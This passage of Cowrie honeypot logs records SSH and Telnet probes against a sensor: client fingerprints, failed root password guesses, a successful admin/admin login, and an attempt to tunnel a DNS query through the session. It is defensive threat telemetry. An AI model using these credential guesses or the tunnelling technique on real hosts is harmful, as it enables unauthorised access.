com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:59:14.972364Z","src_ip":"103.82.132.16","session":"a8238a7e9935","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sashka","message":"login attempt [root/sashka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:59:15.751732Z","src_ip":"103.82.132.16","session":"a8238a7e9935","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:59:17.014441Z","src_ip":"103.82.132.16","session":"a8238a7e9935","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":11064,"dst_ip":"10.17.0.5","dst_port":22,"session":"85e3fa60ce8d","protocol":"ssh","message":"New connection: 87.251.64.176:11064 (10.17.0.5:22) [session: 85e3fa60ce8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:59:18.171943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:59:18.180994Z","src_ip":"87.251.64.176","session":"85e3fa60ce8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:59:18.277921Z","src_ip":"87.251.64.176","session":"85e3fa60ce8d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:59:18.572608Z","src_ip":"87.251.64.176","session":"85e3fa60ce8d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:59:18.672378Z","session":"85e3fa60ce8d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:59:18.770829Z","src_ip":"87.251.64.176","session":"85e3fa60ce8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:59:18.870163Z","src_ip":"87.251.64.176","session":"85e3fa60ce8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43666,"dst_ip":"10.17.0.5","dst_port":23,"session":"775dd33f0f65","protocol":"telnet","message":"New connection: 152.42.224.71:43666 (10.17.0.5:23) [session: 775dd33f0f65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:59:20.530794Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43678,"dst_ip":"10.17.0.5","dst_port":23,"session":"a44fef9ef067","protocol":"telnet","message":"New connection: 152.42.224.71:43678 (10.17.0.5:23) [session: a44fef9ef067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:59:21.535716Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":55676,"dst_ip":"10.17.0.5","dst_port":22,"session":"005fe9f7edbf","protocol":"ssh","message":"New connection: 103.172.78.219:55676 (10.17.0.5:22) [session: 005fe9f7edbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:59:23.321059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:59:23.326086Z","src_ip":"103.172.78.219","session":"005fe9f7edbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:59:23.578561Z","src_ip":"103.172.78.219","session":"005fe9f7edbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tujhrf","message":"login attempt [root/tujhrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:59:24.324039Z","src_ip":"103.172.78.219","session":"005fe9f7edbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43686,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc0172a08c06","protocol":"telnet","message":"New connection: 152.42.224.71:43686 (10.17.0.5:23) [session: fc0172a08c06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:59:25.366934Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:59:25.573951Z","src_ip":"103.172.78.219","session":"005fe9f7edbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":37626,"dst_ip":"159.203.135.109","dst_port":23,"session":"86d44eaa4431","protocol":"telnet","message":"New connection: 213.108.3.46:37626 (159.203.135.109:23) [session: 86d44eaa4431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:59:28.793608Z"}
{"eventid":"cowrie.session.closed","duration":0.01783442497253418,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:59:28.811315Z","src_ip":"213.108.3.46","session":"86d44eaa4431","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":50202,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9bf167b5e2a","protocol":"ssh","message":"New connection: 139.19.117.129:50202 (159.203.135.109:22) [session: d9bf167b5e2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:59:32.551342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:59:32.555630Z","src_ip":"139.19.117.129","session":"d9bf167b5e2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:59:32.652791Z","src_ip":"139.19.117.129","session":"d9bf167b5e2a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"77:f6:11:2a:07:db:1b:8f:e3:e2:e2:f0:6f:67:e2:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6apTpBLxylca9D2EVjfr8xa6OadS2c0oR4RYLkJiIp2XoWkJKqxVodz0s2gfQrMb9qr3oJQVoT4M1WHd829D5Wu2kJY4RMFSo+Rb2dszg0PQJ5Ug1pEW1DedYR379sjoIiF/qbaDzq3FtkUx9+5E/BiqdMGyncml3yinN6HuNH+Fnhv6TtS45Re6gI1rA21qFguBF5U3yPFKeF5ElH997x/0rf3Qr01v38F2994IEXZ3fiaZTkw7k/ul9CnuCuIlCkPGeO7xkpR/70sU077scxbArlCe/ch5BSBK9u8nOCBUBV7AlgZ9RojfTp/wbqqg20zfB7pwEaaMI25zP5QsF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 77:f6:11:2a:07:db:1b:8f:e3:e2:e2:f0:6f:67:e2:78","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:59:32.852851Z","src_ip":"139.19.117.129","session":"d9bf167b5e2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"77:f6:11:2a:07:db:1b:8f:e3:e2:e2:f0:6f:67:e2:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6apTpBLxylca9D2EVjfr8xa6OadS2c0oR4RYLkJiIp2XoWkJKqxVodz0s2gfQrMb9qr3oJQVoT4M1WHd829D5Wu2kJY4RMFSo+Rb2dszg0PQJ5Ug1pEW1DedYR379sjoIiF/qbaDzq3FtkUx9+5E/BiqdMGyncml3yinN6HuNH+Fnhv6TtS45Re6gI1rA21qFguBF5U3yPFKeF5ElH997x/0rf3Qr01v38F2994IEXZ3fiaZTkw7k/ul9CnuCuIlCkPGeO7xkpR/70sU077scxbArlCe/ch5BSBK9u8nOCBUBV7AlgZ9RojfTp/wbqqg20zfB7pwEaaMI25zP5QsF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:59:32.856646Z","src_ip":"139.19.117.129","session":"d9bf167b5e2a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"77:f6:11:2a:07:db:1b:8f:e3:e2:e2:f0:6f:67:e2:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6apTpBLxylca9D2EVjfr8xa6OadS2c0oR4RYLkJiIp2XoWkJKqxVodz0s2gfQrMb9qr3oJQVoT4M1WHd829D5Wu2kJY4RMFSo+Rb2dszg0PQJ5Ug1pEW1DedYR379sjoIiF/qbaDzq3FtkUx9+5E/BiqdMGyncml3yinN6HuNH+Fnhv6TtS45Re6gI1rA21qFguBF5U3yPFKeF5ElH997x/0rf3Qr01v38F2994IEXZ3fiaZTkw7k/ul9CnuCuIlCkPGeO7xkpR/70sU077scxbArlCe/ch5BSBK9u8nOCBUBV7AlgZ9RojfTp/wbqqg20zfB7pwEaaMI25zP5QsF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 77:f6:11:2a:07:db:1b:8f:e3:e2:e2:f0:6f:67:e2:78","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:59:32.955964Z","src_ip":"139.19.117.129","session":"d9bf167b5e2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"77:f6:11:2a:07:db:1b:8f:e3:e2:e2:f0:6f:67:e2:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6apTpBLxylca9D2EVjfr8xa6OadS2c0oR4RYLkJiIp2XoWkJKqxVodz0s2gfQrMb9qr3oJQVoT4M1WHd829D5Wu2kJY4RMFSo+Rb2dszg0PQJ5Ug1pEW1DedYR379sjoIiF/qbaDzq3FtkUx9+5E/BiqdMGyncml3yinN6HuNH+Fnhv6TtS45Re6gI1rA21qFguBF5U3yPFKeF5ElH997x/0rf3Qr01v38F2994IEXZ3fiaZTkw7k/ul9CnuCuIlCkPGeO7xkpR/70sU077scxbArlCe/ch5BSBK9u8nOCBUBV7AlgZ9RojfTp/wbqqg20zfB7pwEaaMI25zP5QsF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:59:32.960209Z","src_ip":"139.19.117.129","session":"d9bf167b5e2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36504,"dst_ip":"10.17.0.5","dst_port":23,"session":"59490b08586c","protocol":"telnet","message":"New connection: 152.42.224.71:36504 (10.17.0.5:23) [session: 59490b08586c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:59:41.333516Z"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:59:42.551269Z","src_ip":"139.19.117.129","session":"d9bf167b5e2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.329532623291016,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:59:59.865151Z","src_ip":"152.42.224.71","session":"a44fef9ef067","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.31149339675903,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:00:00.678268Z","src_ip":"152.42.224.71","session":"fc0172a08c06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":60480,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2a4538aed31","protocol":"ssh","message":"New connection: 103.75.182.198:60480 (159.203.135.109:22) [session: d2a4538aed31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:00:02.236590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:00:02.246607Z","src_ip":"103.75.182.198","session":"d2a4538aed31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:00:02.497200Z","src_ip":"103.75.182.198","session":"d2a4538aed31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ckjybrb","message":"login attempt [root/ckjybrb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:00:03.250121Z","src_ip":"103.75.182.198","session":"d2a4538aed31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:00:04.502236Z","src_ip":"103.75.182.198","session":"d2a4538aed31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.46960997581482,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:00:06.803011Z","src_ip":"152.42.224.71","session":"59490b08586c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52298,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bd117901e9f","protocol":"telnet","message":"New connection: 152.42.224.71:52298 (10.17.0.5:23) [session: 9bd117901e9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:00:10.702329Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45734,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f2dfad444a9","protocol":"telnet","message":"New connection: 152.42.224.71:45734 (10.17.0.5:23) [session: 2f2dfad444a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:00:16.679382Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.160.135","src_port":58000,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3b6112bd288","protocol":"ssh","message":"New connection: 64.89.160.135:58000 (10.17.0.5:22) [session: b3b6112bd288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:00:23.665025Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:00:23.760325Z","src_ip":"64.89.160.135","session":"b3b6112bd288","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33026,"dst_ip":"10.17.0.5","dst_port":23,"session":"99eaa58f6546","protocol":"telnet","message":"New connection: 152.42.224.71:33026 (10.17.0.5:23) [session: 99eaa58f6546]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:00:29.874974Z"}
{"eventid":"cowrie.session.closed","duration":33.612191915512085,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:00:44.314412Z","src_ip":"152.42.224.71","session":"9bd117901e9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00251770019531,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:00:45.020414Z","src_ip":"176.65.139.118","session":"ea69567b9f93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":100.38895177841187,"message":"Connection lost after 100 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:01:00.919671Z","src_ip":"152.42.224.71","session":"775dd33f0f65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33556,"dst_ip":"10.17.0.5","dst_port":23,"session":"e445dbfe11cc","protocol":"telnet","message":"New connection: 152.42.224.71:33556 (10.17.0.5:23) [session: e445dbfe11cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:01:04.221087Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":55524,"dst_ip":"159.203.135.109","dst_port":22,"session":"d658458b04a1","protocol":"ssh","message":"New connection: 103.27.238.114:55524 (159.203.135.109:22) [session: d658458b04a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:01:10.000689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:01:10.007670Z","src_ip":"103.27.238.114","session":"d658458b04a1","protocol":"ssh"}
